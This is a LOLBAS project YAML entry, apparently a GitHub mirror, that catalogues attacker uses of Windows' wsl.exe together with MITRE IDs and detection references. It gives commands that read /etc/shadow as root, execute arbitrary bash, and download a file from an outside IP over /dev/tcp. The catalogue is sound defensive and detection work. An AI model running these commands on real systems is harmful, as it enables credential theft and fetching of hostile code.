mirror of
https://github.com/LOLBAS-Project/LOLBAS
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56 lines
2.4 KiB
YAML
56 lines
2.4 KiB
YAML
---
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Name: Wsl.exe
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Description: Windows subsystem for Linux executable
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Author: 'Matthew Brown'
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Created: 2019-06-27
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Commands:
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- Command: wsl.exe -e /mnt/c/Windows/System32/calc.exe
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Description: Executes calc.exe from wsl.exe
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Usecase: Performs execution of specified file, can be used to execute arbitrary Linux commands.
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Category: Execute
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Privileges: User
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MitreID: T1202
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OperatingSystem: Windows 10, Windows Server 2019, Windows 11
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- Command: wsl.exe -u root -e cat /etc/shadow
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Description: Cats /etc/shadow file as root
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Usecase: Performs execution of arbitrary Linux commands as root without need for password.
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Category: Execute
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Privileges: User
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MitreID: T1202
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OperatingSystem: Windows 10, Windows Server 2019, Windows 11
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- Command: wsl.exe --exec bash -c "<command>"
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Description: Executes Linux command (for example via bash) as the default user (unless stated otherwise using `-u <username>`) on the default WSL distro (unless stated otherwise using `-d <distro name>`)
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Usecase: Performs execution of arbitrary Linux commands.
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Category: Execute
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Privileges: User
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MitreID: T1202
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OperatingSystem: Windows 10, Windows Server 2019, Windows 11
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- Command: wsl.exe --exec bash -c 'cat < /dev/tcp/192.168.1.10/54 > binary'
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Description: Downloads file from 192.168.1.10
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Usecase: Download file
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Category: Download
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Privileges: User
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MitreID: T1105
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OperatingSystem: Windows 10, Windows Server 2019, Windows 11
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Full_Path:
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- Path: C:\Windows\System32\wsl.exe
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Code_Sample:
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- Code:
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Detection:
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- Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_wsl_lolbin_execution.yml
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- BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
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- IOC: Child process from wsl.exe
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Resources:
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- Link: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
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- Link: https://twitter.com/nas_bench/status/1535431474429808642
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Acknowledgement:
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- Person: Alex Ionescu
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Handle: '@aionescu'
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- Person: Matt
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Handle: '@NotoriousRebel1'
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- Person: Asif Matadar
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Handle: '@d1r4c'
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- Person: Nasreddine Bencherchali
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Handle: '@nas_bench'
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- Person: Konrad 'unrooted' Klawikowski
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